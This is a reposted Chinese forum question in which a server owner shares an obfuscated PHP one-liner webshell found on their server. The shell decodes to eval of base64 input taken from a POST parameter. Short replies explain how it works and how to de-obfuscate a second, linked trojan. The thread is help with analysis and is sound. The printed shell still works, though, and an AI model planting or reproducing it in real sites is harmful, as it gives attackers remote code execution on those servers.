Home  >  Article  >  Backend Development  >  求牛人解释下服务器上发现的国外牛人写的木马解决办法

求牛人解释下服务器上发现的国外牛人写的木马解决办法

WBOY
WBOYOriginal
2016-06-13 12:24:081074browse

求牛人解释下服务器上发现的国外牛人写的木马

<br /><?php                                                                                                                                                                                                                                                               <br />$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n2a5248'])) {eval($s21(${$s20}['n2a5248']));}<br />?><br /><br />



上面的应该是一句话木马  能看出来eval


下面的这个看不懂...求解释或者翻译下...


http://www.0917cc.com/file.txt

代码太多么地方上传...就放这里了 .....


求大牛出来给翻译下.....

------解决思路----------------------
就是得到POST传参,然后做各种事情。
------解决思路----------------------
你把形如 $j51[52] 这样的,用 $j51 的对应值带入就看出来了

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn